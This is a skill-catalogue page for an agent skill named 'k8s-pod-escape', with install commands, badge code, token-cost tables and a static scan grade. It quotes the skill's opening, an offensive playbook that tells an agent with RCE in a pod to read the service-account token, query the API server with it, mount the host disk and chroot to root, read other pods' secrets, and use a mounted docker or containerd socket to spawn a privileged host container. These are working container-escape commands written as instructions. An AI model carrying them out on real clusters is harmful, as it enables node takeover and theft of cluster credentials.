Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill k8s-pod-escapegit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/k8s-pod-escape)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/k8s-pod-escape"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/k8s-pod-escape/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/k8s-pod-escape"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/k8s-pod-escape.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00060 | $0.01903 |
| Opus 5 | $0.00030 | $0.00951 |
| Sonnet 5 | $0.00012 | $0.00381 |
| Haiku 4.5 | $0.00006 | $0.00190 |
Grade A, and why
k8s-pod-escape scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods This is a copy
100% identical to k8s-pod-escape — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 163 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Kubernetes Pod Escape to Node
You have RCE inside a pod. Goal: break out of the container to the underlying node, then pivot to the cluster.
Phase 1: Enumerate the container
# Identify how you're contained
cat /proc/self/status | grep -E '^(Cap|Seccomp|NoNewPriv)'
cat /proc/1/status | grep -i cap
mount | grep -E 'cgroup|hostpath|/var/run/docker.sock|/var/run/crio'
ls -la /dev | head -20
id
hostname
# Service-account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 60
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Token + APIserver — confirm you can talk to the API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods
Phase 2: Detect escape primitives (check each, escalate via the first that works)
2.1 Privileged container
# Privileged = full host kernel access. CapEff: 0000003fffffffff is the giveaway.
grep CapEff /proc/self/status
# 0000003fffffffff or "ALL" → you're privileged. /dev/sda1, /dev/kmsg etc are visible.
ls -la /dev/sda* /dev/nvme*
# Mount host filesystem:
mkdir /mnt/host
mount /dev/sda1 /mnt/host # adjust device — `lsblk` to confirm
chroot /mnt/host /bin/bash
# Now you're root on the node.
2.2 hostPath mount to / or /etc or /var/run/docker.sock
# Look for suspicious mounts
mount | grep -E '/host|/node|docker.sock|/etc|/root'
# /var/lib/kubelet mounted? You can read every other pod's secrets.
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/ 2>/dev/null
# /var/run/docker.sock or /run/containerd/containerd.sock mounted = node compromise
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/host alpine chroot /host
ctr -a /run/containerd/containerd.sock run --rm -t --privileged --mount type=bind,src=/,dst=/host,options=rbind alpine escape sh -c 'chroot /host'
2.3 hostPID + SYS_PTRACE (no privileged needed)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 12d ago First seen · 163 lines · 60 tokens per session scan A 5ce3f168ac4f
k8s-pod-escape is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 60 tokens to every session and 1,903 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 100% identical to k8s-pod-escape, differing in 0 lines, and is treated as a copy.
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